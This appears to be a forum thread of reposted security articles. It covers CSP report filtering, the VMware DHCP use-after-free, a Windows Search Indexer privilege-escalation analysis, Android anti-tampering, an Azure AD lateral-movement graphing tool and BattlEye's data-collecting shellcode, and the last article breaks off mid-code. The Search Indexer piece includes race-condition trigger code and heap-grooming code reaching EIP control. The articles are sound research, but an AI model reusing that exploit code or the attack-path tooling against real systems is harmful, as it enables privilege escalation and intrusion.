thinks that are an XSS. XSS detection for any website for almost no work. We're not there yet. But browsers and getting better at what they send, and classification of reports is getting easier. I hope this was useful! If you have any ideas or comments I would love to hear them! stuart at csper.io. Automatically Generating Content Security Policy A guide to automatically generating content security policy (CSP) headers. Csper builder collection csp reports using report-uri to generate/build a policy online in minutes. Content Security Policy (CSP) report-uri Technical reference on content security policy (CSP) report-uri. Includes example csp reports, example csp report-uri policy, and payload Other Security Features of Content Security Policy Other security features of content security policy including upgrade-insecure-requests, block-all-mixed-content, frame-ancestors, sandbox, form-actions, and more Sursa: https://csper.io/blog/csp-report-filtering
-
CVE-2020-3947: Use-After-Free Vulnerability in the VMware Workstation DHCP Component April 02, 2020 | KP Choubey SUBSCRIBE Ever since introducing the virtualization category at Pwn2Own in 2016, guest-to-host escapes have been a highlight of the contest. This year’s event was no exception. Other guest-to-host escapes have also come through the ZDI program throughout the year. In fact, VMware released a patch for just such a bug less than a week prior to this year’s competition. In this blog post, we look into CVE-2020-3947, which was submitted to the ZDI program (ZDI-20-298) in late December by an anonymous researcher. The vulnerability affects the DHCP server component of VMware Workstation and could allow attackers to escalate privileges from a guest OS and execute code on the host OS. Dynamic Host Configuration Protocol (DHCP) Dynamic Host Configuration Protocol (DHCP) is used to dynamically assign and manage IP addresses by exchanging DHCP messages between a DHCP client and server. DHCP messages include DHCPDISCOVER, DHCPOFFER, DHCPRELEASE, and several others. All DCHP messages begin with the following common header structure: Figure 1 - DHCP Header structure The Options field of a DHCP message contains a sequence of option fields. The structure of an option field is as follows: Figure 2 - Option Field Structure The optionCode field defines the type of option. The value of optionCode is 0x35 and 0x3d for the DHCP message type and client identifier options, respectively. A DHCP message must contain one DHCP message type option. For the DHCP message type option, the value of the optionLength field is 1 and the optionData field indicates the message type. A value of 1 indicates a DHCPDISCOVER message, while a value of 7 indicates a DHCPRELEASE message. These are the two message types that are important for this vulnerability. DHCPDISCOVER is broadcast by a client to get an IP address, and the client sends DHCPRELEASE to relinquish an IP address. The Vulnerability In VMWare Workstation, the vmnetdhcp.exe module provides DHCP server service to guest machines. This startup entry is installed as a Windows service. The vulnerable condition occurs when sending a DHCPDISCOVER message followed by a DHCPRELEASE message repeatedly to a vulnerable DHCP server. During processing of a DHCPRELEASE message, the DHCP server calls vmnetdhcp! supersede_lease (vmnetdhcp+0x3160). The supersede_lease function then copies data from one lease structure to another. A lease structure contains information such as an assigned client IP address, client hardware address, lease duration, lease status, and so on. The full lease structure is as follows: Figure 3 - Lease Structure For this vulnerability, the uid and uid_len fields are important. The uid field points to a buffer containing the string data from the optionData field of the client identifier option. The uid_len field indicates the size of this buffer. supersede_lease first checks whether the string data pointed by the respective uid fields of the source and destination lease are equal. If these two strings match, the function frees the buffer pointed to by the uid field of the source lease. Afterwards, supersede_lease calls write_lease (vmnetdhcp+016e0), passing the destination lease as an argument, to write the lease to an internal table. Figure 4 – Compare the uid Fields Figure 5 - Frees the uid Field In the vulnerable condition, meaning when a DHCPDISCOVER message followed by a DHCPRELEASE message is repeatedly received by the server, the respective uid fields of the source and destination lease structures actually point to the same memory location. The supersede_lease function does not check for this condition. As a result, when it frees the memory pointed to by the uid field of the source lease, the uid pointer of the destination lease becomes a hanging pointer. Finally, when write_lease accesses the uid field of the destination lease, a use-after-free (UAF) condition occurs. Figure 6 - Triggering the Bug The Patch VMware patched this bug and two lesser severity bugs with VMSA-2020-004. The patch to address CVE-2020-3947 contains changes in one function: supersede_lease. The patch comparison of supersede_lease in VMnetDHCP.exe version 15.5.1.50853 versus version 15.5.2.54704 is as follows: Figure 7 - BinDiff Patch Comparison In the patched version of supersede_lease, after performing the string comparison between the respective uid fields of the source and destination leases, it performs a new check to see if the respective uid fields are actually referencing the same buffer. If they are, the function skips the call to free. Since there are no workarounds listed, the only way to ensure you are protected from this bug is to apply the patch. Despite being a well understood problem, UAF bugs continue to be prevalent in modern software. In fact, 15% of the advisories we published in 2019 were the result of a UAF condition. It will be interesting to see if that trend continues in 2020. You can find me on Twitter @nktropy, and follow the team for the latest in exploit techniques and security patches. Sursa: https://www.zerodayinitiative.com/blog/2020/4/1/cve-2020-3947-use-after-free-vulnerability-in-the-vmware-workstation-dhcp-component
-
Analyzing a Windows Search Indexer LPE bug March 26, 2020 - SungHyun Park @ Diffense Introduction The Jan-Feb 2020 security patch fixes multiple bugs in the Windows Search Indexer. Many LPE vulnerabilities in the Windows Search Indexer have been found, as shown above1. Thus, we decided to analyze details from the applied patches and share them. Windows Search Indexer Windows Search Indexer is a Windows Service that handles indexing of your files for Windows Search, which fuels the file search engine built into windows that powers everything from the Start Menu search box to Windows Explorer, and even the Libraries feature. Search Indexer helps direct the users to the service interface through GUI, indexing options, from their perspectives, as indicated below. All the DB and temporary data during the indexing process are stored as files and managed. Usually in Windows Service, the whole process is carried out with NT AUTHORITY SYSTEM privileges. If the logic bugs happen to exist due to modifying file paths, it may trigger privilege escalation. (E.g. Symlink attack) We assumed that Search Indexer might be the vulnerability like so, given that most of the vulnerabilities recently occurred in Windows Service were LPE vulnerabilities due to logic bugs. However, the outcome of our analysis was not that; more details are covered afterward. Patch Diffing The analysis environment was Windows7 x86 in that it had a small size of the updated file and easy to identified the spot differences. We downloaded both patched versions of this module. They can be downloaded from Microsoft Update Catalog : patched version (January Patch Tuesday) : KB45343142 patched version (February Patch Tuesday) : KB45378133 We started with a BinDiff of the binaries modified by the patch (in this case there is only one: searchindexer.exe) Most of the patches were done in the CSearchCrawlScopeManager and CSearchRoot class. The former was patched in January, and then the latter was patched the following month. Both classes contained the same change, so we focused on CSearchRoot patched. The following figure shows that primitive codes were added, which used a Lock to securely access shared resources. We deduced that accessing the shared resources gave rise to the occurrence of the race condition vulnerability in that the patch consisted of putter, getter function. How to Interact with the Interface We referred to the MSDN to see how those classes were used and uncovered that they were all related to the Crawl Scope Manager. And we could check the method information of this class. And the MSDN said4 : The Crawl Scope Manager (CSM) is a set of APIs that lets you add, remove, and enumerate search roots and scope rules for the Windows Search indexer. When you want the indexer to begin crawling a new container, you can use the CSM to set the search root(s) and scope rules for paths within the search root(s). The CSM interface is as follows: IEnumSearchRoots IEnumSearchScopeRules ISearchCrawlScopeManager ISearchCrawlScopeManager2 ISearchRoot ISearchScopeRule ISearchItem For examples, adding, removing, and enumerating search roots and scope rules can be written by the following : The ISearchCrawlScopeManager tells the search engine about containers to crawl and/or watch, and items under those containers to include or exclude. To add a new search root, instantiate an ISearchRoot object, set the root attributes, and then call ISearchCrawlScopeManager::AddRoot and pass it a pointer to ISearchRoot object. // Add RootInfo & Scope Rule pISearchRoot->put_RootURL(L"file:///C:\ "); pSearchCrawlScopeManager->AddRoot(pISearchRoot); pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows", fInclude, FF_INDEXCOMPLEXURLS); // Set Registry key pSearchCrawlScopeManager->SaveAll(); We can also use ISearchCrawlScopeManager to remove a root from the crawl scope when we no longer want that URL indexed. Removing a root also deletes all scope rules for that URL. We can uninstall the application, remove all data, and then remove the search root from the crawl scope, and the Crawl Scope Manager will remove the root and all scope rules associated with the root. // Remove RootInfo & Scope Rule ISearchCrawlScopeManager->RemoveRoot(pszURL); // Set Registry key ISearchCrawlScopeManager->SaveAll(); The CSM enumerates search roots using IEnumSearchRoots. We can use this class to enumerate search roots for a number of purposes. For example, we might want to display the entire crawl scope in a user interface, or discover whether a particular root or the child of a root is already in the crawl scope. // Display RootInfo PWSTR pszUrl = NULL; pSearchRoot->get_RootURL(&pszUrl); wcout << L"\t" << pszUrl; // Display Scope Rule IEnumSearchScopeRules *pScopeRules; pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules); ISearchScopeRule *pSearchScopeRule; pScopeRules->Next(1, &pSearchScopeRule, NULL)) pSearchScopeRule->get_PatternOrURL(&pszUrl); wcout << L"\t" << pszUrl; We thought that a vulnerability would arise in the process of manipulating URL. Accordingly, we started analyzing the root causes. Root Cause Analysis We conducted binary analysis focusing on the following functions : ISearchRoot::put_RootURL ISearchRoot::get_RootURL While analyzing ISearchRoot::put_RootURL and ISearchRoot::get_RootURL, we figured out that the object’s shared variable (CSearchRoot + 0x14) was referenced. The put_RootURL function wrote a user-controlled data in the memory of CSearchRoot+0x14. The get_RootURL function read the data located in the memory of CSearchRoot+0x14. , it appeared that the vulnerability was caused by this shared variable concerning patches. Thus, we finally got to the point where the vulnerability initiated. The vulnerability was in the process of double fetching length, and the vulnerability could be triggered when the following occurs: First fetch: Used as memory allocation size (line 9) Second fetch: Used as memory copy size (line 13) If the size of the first and that of the second differed, a heap overflow might occur, especially when the second fetch had a large size. We maintained that we change the size of pszURL sufficiently through the race condition before the memory copy occurs. Crash Through OleView5, we were able to see the interface provided by the Windows Search Manager. And we needed to hit vulnerable functions based on the methods of the interface. We could easily test it through the COM-based command line source code provided by MSDN6. And wrote the COM client code that hit vulnerable functions as following: int wmain(int argc, wchar_t *argv[]) { // Initialize COM library CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); // Class instantiate ISearchRoot *pISearchRoot; CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot)); // Vulnerable functions hit pISearchRoot->put_RootURL(L"Shared RootURL"); PWSTR pszUrl = NULL; HRESULT hr = pSearchRoot->get_RootURL(&pszUrl); wcout << L"\t" << pszUrl; CoTaskMemFree(pszUrl); // Free COM resource, End pISearchRoot->Release(); CoUninitialize(); } Thereafter, bug triggering was quite simple. We created two threads: one writing different lengths of data to the shared buffer and the other reading data from the shared buffer at the same time. DWORD __stdcall thread_putter(LPVOID param) { ISearchManager *pSearchManager = (ISearchManager*)param; while (1) { pSearchManager->put_RootURL(L"AA"); pSearchManager->put_RootURL(L"AAAAAAAAAA"); } return 0; } DWORD __stdcall thread_getter(LPVOID param) { ISearchRoot *pISearchRoot = (ISearchRoot*)param; PWSTR get_pszUrl; while (1) { pISearchRoot->get_RootURL(&get_pszUrl); } return 0; } Okay, Crash! Undoubtedly, the race condition had succeeded before the StringCchCopyW function copied the RootURL data, leading to heap overflow. EIP Control We ought to create an object to the Sever heap where the vulnerability occurs for the sake of controlling EIP. We wrote the client codes as following, tracking the heap status. int wmain(int argc, wchar_t *argv[]) { CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE); ISearchRoot *pISearchRoot[20]; for (int i = 0; i < 20; i++) { CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i])); } pISearchRoot[3]->Release(); pISearchRoot[5]->Release(); pISearchRoot[7]->Release(); pISearchRoot[9]->Release(); pISearchRoot[11]->Release(); CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL); CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL); Sleep(500); CoUninitialize(); return 0; } We found out that if the client did not release the pISearchRoot object, IRpcStubBuffer objects would remain on the server heap. And we also saw that the IRpcStubBuffer object remained near the location of the heap where the vulnerability occurred. 0:010> !heap -p -all ... 03d58f10 0005 0005 [00] 03d58f18 0001a - (busy) <-- CoTaskMalloc return mssprxy!_idxpi_IID_Lookup <PERF> (mssprxy+0x75) 03d58f38 0005 0005 [00] 03d58f40 00020 - (free) 03d58f60 0005 0005 [00] 03d58f68 0001c - (busy) <-- IRpcStubBuffer Obj ? mssprxy!_ISearchRootStubVtbl+10 03d58f88 0005 0005 [00] 03d58f90 0001c - (busy) ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj 03d58fb0 0005 0005 [00] 03d58fb8 00020 - (busy) 03d58fd8 0005 0005 [00] 03d58fe0 0001c - (busy) ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj 03d59000 0005 0005 [00] 03d59008 0001c - (busy) ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj 03d59028 0005 0005 [00] 03d59030 00020 - (busy) 03d59050 0005 0005 [00] 03d59058 00020 - (busy) 03d59078 0005 0005 [00] 03d59080 00020 - (free) 03d590a0 0005 0005 [00] 03d590a8 00020 - (free) 03d590c8 0005 0005 [00] 03d590d0 0001c - (busy) ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj In COM, all interfaces have their own interface stub space. Stubs are small memory spaces used to support remote method calls during RPC communication, and IRpcStubBuffer is the primary interface for such interface stubs. In this process, the IRpcStubBuffer to support pISearchRoot’s interface stub remains on the server’s heap. The vtfunction of IRpcStubBuffer is as follows : 0:003> dds poi(03d58f18) l10 71215bc8 7121707e mssprxy!CStdStubBuffer_QueryInterface 71215bcc 71217073 mssprxy!CStdStubBuffer_AddRef 71215bd0 71216840 mssprxy!CStdStubBuffer_Release 71215bd4 71217926 mssprxy!CStdStubBuffer_Connect 71215bd8 71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize(); 71215bdc 7121687c mssprxy!CStdStubBuffer_Invoke 71215be0 7121791b mssprxy!CStdStubBuffer_IsIIDSupported 71215be4 71217910 mssprxy!CStdStubBuffer_CountRefs 71215be8 71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface 71215bec 712178fa mssprxy!CStdStubBuffer_DebugServerRelease When the client’s COM is Uninitialized, IRpcStubBuffer::Disconnect disconnects all connections of object pointer. Therefore, if the client calls CoUninitialize function, CStdStubBuffer_Disconnect function is called on the server. It means that users can construct fake vtable and call that function. However, we haven’t always seen IRpcStubBuffer allocated on the same location heap. Therefore, several tries were needed to construct the heap layout. After several tries, the IRpcStubBuffer object was covered with the controllable value (0x45454545) as follows. In the end, we could show that indirect calls to any function in memory are possible! Conclusion Most of the LPE vulnerabilities recently occurred in Windows Service, were logic bugs. In this manner, analysis on Memory corruption vulnerabilities of Windows Search Indexer was quite interesting. Thereby, such Memory Corruption vulnerabilities are likely to occur in Windows Service hereafter. We should not overlook the possibilities. We hope that the analysis will serve as an insight to other vulnerability researchers and be applied to further studies. Reference https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments ↩ https://www.catalog.update.microsoft.com/Search.aspx?q=KB4534314 ↩ https://www.catalog.update.microsoft.com/Search.aspx?q=KB4537813 ↩ https://docs.microsoft.com/en-us/windows/win32/search/-search-3x-wds-extidx-csm ↩ https://github.com/tyranid/oleviewdotnet ↩ https://docs.microsoft.com/en-us/windows/win32/search/-search-sample-crawlscopecommandline ↩ Sursa: http://blog.diffense.co.kr/2020/03/26/SearchIndexer.html
-
Protecting your Android App against Reverse Engineering and Tampering Avi Parshan Apr 2 · 4 min read I built a premium (paid) android app that has been cracked and modded. Therefore, I started researching ways to secure my code and make it more difficult to modify my app. Before I continue, You cannot mitigate these issues or completely prevent people from breaking your app. All you can do is make it slightly more difficult to get in and understand your code. I wrote this article because I felt that the only sources of information just said that it was nearly impossible to protect your app, just don’t leave secrets on the client device. That is partly true, but I wanted to compile sources that can actually assist independent developers like me. Lastly, when you search “android reverse engineer”, all the results are for cracking other peoples apps. There are almost no sources on how to protect your own apps. So here are some useful blogs and libraries which has helped me make my code more tamper-resistant. Several sources that are less popular have been mentioned in the list below to help you! This article is geared towards new android developers or ones who haven’t really dealt with reverse engineering and mods before. Proguard: This is built into android studio and serves several purposes. The first one is code obfuscation, basically turning your code into gibberish to make it difficult to understand. This can easily be beaten, but it is super simple to add to your app so I still recommend implementing it. The second function is code shrinking, which is still relevant to this article. Basically, it removes unused resources and code. I wouldn’t rely on this, but it is included by default and worth implementing. The only way of actually checking if it changed anything is by reverse engineering your own APK. Dexguard: A tool that isn’t free, but made by the same team of Proguard. I haven’t used it myself, so can’t recommend it. It includes everything that Proguard has and adds more features. Some notable additions are String and Resource Encryption. Android NDK: Writing parts of your app in native code (C or C++) will certainly deter people from reverse engineering your app. There are several downsides to using the NDK, such as performance issues when making JNI calls and you can introduce potential bugs down the line that will be harder to track. You’ll also have to do the garbage collection yourself, which isn’t trivial for beginners. PiracyChecker: A popular library on github with some basic ways to mitigate reverse engineering. I included this in one of my apps, but it already has been cracked. There are multiple checks you can run, including an implementation of the Google Play Licensing Check (LVL). This is open source, so you can look at his code and contribute too! I am using Google Play app signing, so couldn’t actually use the APK signature to verify that I signed the app, or even google did ;( javiersantos/PiracyChecker Android Library An Android library that prevents your app from being pirated / cracked using Google Play Licensing… github.com Google’s SafetyNet Attestation API: This is an amazing option, though I haven’t tested it thoroughly. Basically, you call Google’s Attestation API and they can tell you if the device the app is running on is secure or not. Basically if it is rooted, or using LuckyPatcher for instance. Deguard: This was a website that I stumbled upon. You upload an APK file, then it uses some algorithms to reverse what proguard does. Now, you can open classes, sometimes with full class names too! I used this to pull some modded versions of my app and see what has been changed more or less. There are manual processes to achieve similar results, but this is faster and requires less work. http://apk-deguard.com/ Android Anti-Reversing Defenses: This blog post explains some great defenses to put up against hackers/reverse engineering. I suggest reading it and implementing at least one or two of the methods used. There are code snippets too! Android Anti-Reversing Defenses Detection code also often looks for binaries that are usually installed once a device has been rooted. These searches… mobile-security.gitbook.io Android Security: Adding Tampering Detection to Your App: Another great article, also with code snippets about how to protect your app. this piece also includes great explanations about how each method woks. https://www.airpair.com/android/posts/adding-tampering-detection-to-your-android-app MobSF: I heard about this from an Android Reverse Engineering Talk I wa swatching on YouTube. They mentioned this amazing tool in passing. I have never heard of it before but decided to go ahead and test it out. It works on Windows, Linux, and Mac. In short, you run this locally -> upload an APK (no AABs yet), and it analyses it for vulnerbilities. It performs basical checks and shows you a lot of information about an APK, like who signed the cert , app permissions, all the strings, and much more! I had some issues installing it, but the docs are good and they have a slack channel which came in handy. https://github.com/MobSF/Mobile-Security-Framework-MobSF Overall, there are several ways to make your app more difficult to crack. I’d recommend that your app should call an API rather than do the checks locally. It is much easier to modify code on the client rather than on the server. Let me know if I missed anything, and if you have more ideas! If you found this article useful, consider buying me a coffee! Sursa: https://medium.com/avi-parshan-studios/protecting-your-android-app-against-reverse-engineering-and-tampering-a727768b2e9e
-
What is AzureADLateralMovement AzureADLateralMovement allows to build Lateral Movement graph for Azure Active Directory entities - Users, Computers, Groups and Roles. Using the Microsoft Graph API AzureADLateralMovement extracts interesting information and builds json files containing lateral movement graph data competable with Bloodhound 2.2.0 Some of the implemented features are : Extraction of Users, Computers, Groups, Roles and more. Transform the entities to Graph objects Inject the object to Azure CosmosDB Graph Explanation: Terry Jeffords is a member of Device Administrators. This group is admin on all the AAD joined machines including Desktop-RGR29LI Where the user Amy Santiago has logged-in in the last 2 hours and probably still has a session. This attack path can be exploited manually or by automated tools. Architecture The toolkit consists of several components MicrosoftGraphApi Helper The MicrosoftGraphApi Helper is responsible for retriving the required data from Graph API BloodHound Helper Responsible for creating json files that can dropped on BloodHound 2.2.0 to extend the organization covered entities CosmosDbGraph Helper In case you prefer using the Azure CosmosDb service instead of the BloodHound client, this module will push the data retrived into a graph database service How to set up Steps Download, compile and run Browse to http://localhost:44302 Logon with AAD administrative account Click on "AzureActiveDirectoryLateralMovement" to retrive data Drag the json file into BloodHound 2.2.0 Configuration An example configuration as below : { "AzureAd": { "CallbackPath": "/signin-oidc", "BaseUrl": "https://localhost:44334", "Scopes": "Directory.Read.All AuditLog.Read.All", "ClientId": "<ClientId>", "ClientSecret": "<ClientSecret>", "GraphResourceId": "https://graph.microsoft.com/", "GraphScopes": "Directory.Read.All AuditLog.Read.All" }, "Logging": { "IncludeScopes": false, "LogLevel": { "Default": "Warning" } }, "CosmosDb": { "EndpointUrl": "https://<CosmosDbGraphName>.documents.azure.com:443/", "AuthorizationKey": "<AuthorizationKey>" } } Deployment Before start using this tool you need to create an Application on the Azure Portal. Go to Azure Active Directory -> App Registrations -> Register an application. After creating the application, copy the Application ID and change it on AzureOauth.config. The URL(external listener) that will be used for the application should be added as a Redirect URL. To add a redirect url, go the application and click Add a Redirect URL. The Redirect URL should be the URL that will be used to host the application endpoint, in this case https://localhost:44302/ Make sure to check both the boxes as shown below : Security Considerations The lateral movement graph allows investigate available attack paths truly available in the AAD environment. The graph is combined by Nodes of Users, Groups and Devices, where the edges are connecting them by the logic of �AdminTo�, �MemberOf� and �HasSession� This logic is explained in details by the original research document: https://github.com/BloodHoundAD/Bloodhound/wiki In the on-premise environment BloodHound collects data using SMAR and SMB protocols to each machine in the domain, and LDAP to the on-premise AD. In Azure AD environment, the relevant data regarding Azure AD device, users and logon sessions can be retrieved using Microsoft Graph API. Once the relevant data is gathered it is possible to build similar graph of connections for users, groups and Windows machines registered in the Azure Active Directory. To retrive the data and build the graph data this project uses: Azure app Microsoft Graph API Hybrid AD+AAD domain environment synced using pass-through authentication BloodHound UI and entities objects The AAD graph is based on the following data Devices - AAD joined Windows devices only and their owner's Users - All AD or AAD users Administrative roles and Groups - All memberships of roles and groups Local Admin - The following are default local admins in AAD joined device - Global administrator role - Device administrator role - The owner of the machine Sessions - All logins for Windows machines References Exploring graph queries on top of Azure Cosmos DB with Gremlin https://github.com/talmaor/GraphExplorer SharpHound - The C# Ingestor https://github.com/BloodHoundAD/BloodHound/wiki/Data-Collector Quickstart: Build a .NET Framework or Core application using the Azure Cosmos DB Gremlin API account https://docs.microsoft.com/en-us/azure/cosmos-db/create-graph-dotnet How to: Use the portal to create an Azure AD application and service principal that can access resources https://docs.microsoft.com/en-us/azure/active-directory/develop/howto-create-service-principal-portal Sursa: https://github.com/talmaor/AzureADLateralMovement
-
BattlEye reverse engineer tracking
Nytro posted a topic in Reverse engineering & exploit development
Mar 31, 2020 :: vmcall :: [ battleye, anti-cheats, game-hacking ] BattlEye reverse engineer tracking Preface Modern commercial anti-cheats are faced by an increasing competetiveness in professional game-hack production, and thus have begun implementing questionable methods to prevent this. In this article, we will present a previously unknown anti-cheat module, pushed to a small fraction of the player base by the commercial anti-cheat BattlEye. The prevalent theory is that this module is specifically targeted against reverse engineers, to monitor the production of video game hacking tools, due to the fact that this is dynamically pushed. Shellcode ?? [1] Shellcode refers to independent code that is dynamically loaded into a running process. The code snippets in this article are beautified decompilations of shellcode [1] that we’ve dumped and deobfuscated from BattlEye. The shellcode was pushed to my development machine while messing around in Escape from Tarkov. On this machine various reverse engineering applications such as x64dbg are installed and frequently running, which might’ve caught the attention of the anti-cheat in question. To confirm the suspicion, a secondary machine that is mainly used for testing was booted, and on it, Escape from Tarkov was installed. The shellcode in question was not pushed to the secondary machine, which runs on the same network and utilized the same game account as the development machine. Other members of Secret Club have experienced the same ordeal, and the common denominator here is that we’re all highly specialized reverse engineers, which means most have the same applications installed. To put a nail in the coffin I asked a few of my fellow highschool classmates to let me log shellcode activity (using a hypervisor) on their machines while playing Escape from Tarkov, and not a single one of them received the module in question. Needless to say, some kind of technical minority is being targeted, which the following code segments will show. Context In this article, you will see references to a function called battleye::send. This function is used by the commercial anti-cheat to send information from the client module BEClient_x64/x86.dll inside of the game process, to the respective game server. This is to be interpreted as a pure “send data over the internet” function, and only takes a buffer as input. The ID in each report header determines the type of “packet”, which can be used to distinguish packets from one another. Device driver enumeration This routine has two main purposes: enumerating device drivers and installed certificates used by the respective device drivers. The former has a somewhat surprising twist though, this shellcode will upload any device driver(!!) matching the arbitrary “evil” filter to the game server. This means that if your proprietary, top-secret and completely unrelated device driver has the word “Callback” in it, the shellcode will upload the entire contents of the file on disk. This is a privacy concern as it is a relatively commonly used word for device drivers that install kernel callbacks for monitoring events. The certificate enumerator sends the contents of all certificates used by device drivers on your machine directly to the game server: // ONLY ENUMERATE ON X64 MACHINES GetNativeSystemInfo(&native_system_info); if ( native_system_info.u.s.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ) { if ( EnumDeviceDrivers(device_list, 0x2000, &required_size) ) { if ( required_size <= 0x2000u ) { report_buffer = (__int8 *)malloc(0x7530); report_buffer[0] = 0; report_buffer[1] = 0xD; buffer_index = 2; // DISABLE FILESYSTEM REDIRECTION IF RUN IN WOW64 if ( Wow64EnableWow64FsRedirection ) Wow64EnableWow64FsRedirection(0); // ITERATE DEVICE DRIVERS for ( device_index = 0; ; ++device_index ) { if ( device_index >= required_size / 8u /* MAX COUNT*/ ) break; // QUERY DEVICE DRIVER FILE NAME driver_file_name_length = GetDeviceDriverFileNameA( device_list[device_index], &report_buffer[buffer_index + 1], 0x100); report_buffer[buffer_index] = driver_file_name_length; // IF QUERY DIDN'T FAIL if ( driver_file_name_length ) { // CACHE NAME BUFFER INDEX FOR LATER USAGE name_buffer_index = buffer_index; // OPEN DEVICE DRIVER FILE HANDLE device_driver_file_handle = CreateFileA( &report_buffer[buffer_index + 1], GENERIC_READ, FILE_SHARE_READ, 0, 3, 0, 0); if ( device_driver_file_handle != INVALID_HANDLE_VALUE ) { // CONVERT DRIVER NAME MultiByteToWideChar( 0, 0, &report_buffer[buffer_index + 1], 0xFFFFFFFF, &widechar_buffer, 0x100); } after_device_driver_file_name_index = buffer_index + report_buffer[buffer_index] + 1; // QUERY DEVICE DRIVER FILE SIZE *(_DWORD *)&report_buffer[after_device_driver_file_name_index] = GetFileSize(device_driver_file_handle, 0); after_device_driver_file_name_index += 4; report_buffer[after_device_driver_file_name_index] = 0; buffer_index = after_device_driver_file_name_index + 1; CloseHandle(device_driver_file_handle); // IF FILE EXISTS ON DISK if ( device_driver_file_handle != INVALID_HANDLE_VALUE ) { // QUERY DEVICE DRIVER CERTIFICATE if ( CryptQueryObject( 1, &widechar_buffer, CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED, CERT_QUERY_FORMAT_FLAG_BINARY, 0, &msg_and_encoding_type, &content_type, &format_type, &cert_store, &msg_handle, 1) ) { // QUERY SIGNER INFORMATION SIZE if ( CryptMsgGetParam(msg_handle, CMSG_SIGNER_INFO_PARAM, 0, 0, &signer_info_size) ) { signer_info = (CMSG_SIGNER_INFO *)malloc(signer_info_size); if ( signer_info ) { // QUERY SIGNER INFORMATION if ( CryptMsgGetParam(msg_handle, CMSG_SIGNER_INFO_PARAM, 0, signer_info, &signer_info_size) ) { qmemcpy(&issuer, &signer_info->Issuer, sizeof(issuer)); qmemcpy(&serial_number, &signer_info->SerialNumber, sizeof(serial_number)); cert_ctx = CertFindCertificateInStore( cert_store, X509_ASN_ENCODING|PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_CERT, &certificate_information, 0); if ( cert_ctx ) { // QUERY CERTIFICATE NAME cert_name_length = CertGetNameStringA( cert_ctx, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0, 0, &report_buffer[buffer_index], 0x100); report_buffer[buffer_index - 1] = cert_name_length; if ( cert_name_length ) { report_buffer[buffer_index - 1] -= 1; buffer_index += character_length; } // FREE CERTIFICATE CONTEXT CertFreeCertificateContext(cert_ctx); } } free(signer_info); } } // FREE CERTIFICATE STORE HANDLE CertCloseStore(cert_store, 0); CryptMsgClose(msg_handle); } // DUMP ANY DRIVER NAMED "Callback????????????" where ? is wildmark if ( *(_DWORD *)&report_buffer[name_buffer_index - 0x11 + report_buffer[name_buffer_index]] == 'llaC' && *(_DWORD *)&report_buffer[name_buffer_index - 0xD + report_buffer[name_buffer_index]] == 'kcab' && (unsigned __int64)suspicious_driver_count < 2 ) { // OPEN HANDLE ON DISK file_handle = CreateFileA( &report_buffer[name_buffer_index + 1], 0x80000000, 1, 0, 3, 128, 0); if ( file_handle != INVALID_HANDLE_VALUE ) { // INITIATE RAW DATA DUMP raw_packet_header.pad = 0; raw_packet_header.id = 0xBEu; battleye::send(&raw_packet_header, 2, 0); // READ DEVICE DRIVER CONTENTS IN CHUNKS OF 0x27EA (WHY?) while ( ReadFile(file_handle, &raw_packet_header.buffer, 0x27EA, &size, 0x00) && size ) { raw_packet_header.pad = 0; raw_packet_header.id = 0xBEu; battleye::send(&raw_packet_header, (unsigned int)(size + 2), 0); } CloseHandle(file_handle); } } } } } // ENABLE FILESYSTEM REDIRECTION if ( Wow64EnableWow64FsRedirection ) { Wow64EnableWow64FsRedirection(1, required_size % 8u); } // SEND DUMP battleye::send(report_buffer, buffer_index, 0); free(report_buffer); } } } Window enumeration This routine enumerates all visible windows on your computer. Each visible window will have its title dumped and uploaded to the server together with the window class and style. If this shellcode is pushed while you have a Google Chrome tab open in the background with confidential information regarding your divorce, BattlEye now knows about this, too bad. While this is probably a really great method to monitor the activites of cheaters, it’s a very aggressive way and probably yields a ton of inappropriate information, which will be sent to the game server over the internet. No window is safe from being dumped, so be careful when you load up your favorite shooter game. The decompilation is as follows: top_window_handle = GetTopWindow(0x00); if ( top_window_handle ) { report_buffer = (std::uint8_t*)malloc(0x5000); report_buffer[0] = 0; report_buffer[1] = 0xC; buffer_index = 2; do { // FILTER VISIBLE WINDOWS if ( GetWindowLongA(top_window_handle, GWL_STYLE) & WS_VISIBLE ) { // QUERY WINDOW TEXT window_text_length = GetWindowTextA(top_window_handle, &report_buffer[buffer_index + 1], 0x40); for ( I = 0; I < window_text_length; ++i ) report_buffer[buffer_index + 1 + i] = 0x78; report_buffer[buffer_index] = window_text_length; // QUERY WINDOW CLASS NAME after_name_index = buffer_index + (char)window_text_length + 1; class_name_length = GetClassNameA(top_window_handle, &report_buffer[after_name_index + 1], 0x40); report_buffer[after_name_index] = class_name_length; after_class_index = after_name_index + (char)class_name_length + 1; // QUERY WINDOW STYLE window_style = GetWindowLongA(top_window_handle, GWL_STYLE); extended_window_style = GetWindowLongA(top_window_handle, GWL_EXSTYLE); *(_DWORD *)&report_buffer[after_class_index] = extended_window_style | window_style; // QUERY WINDOW OWNER PROCESS ID GetWindowThreadProcessId(top_window_handle, &window_pid); *(_DWORD *)&report_buffer[after_class_index + 4] = window_pid; buffer_index = after_class_index + 8; } top_window_handle = GetWindow(top_window_handle, GW_HWNDNEXT); } while ( top_window_handle && buffer_index <= 0x4F40 ); battleye::send(report_buffer, buffer_index, 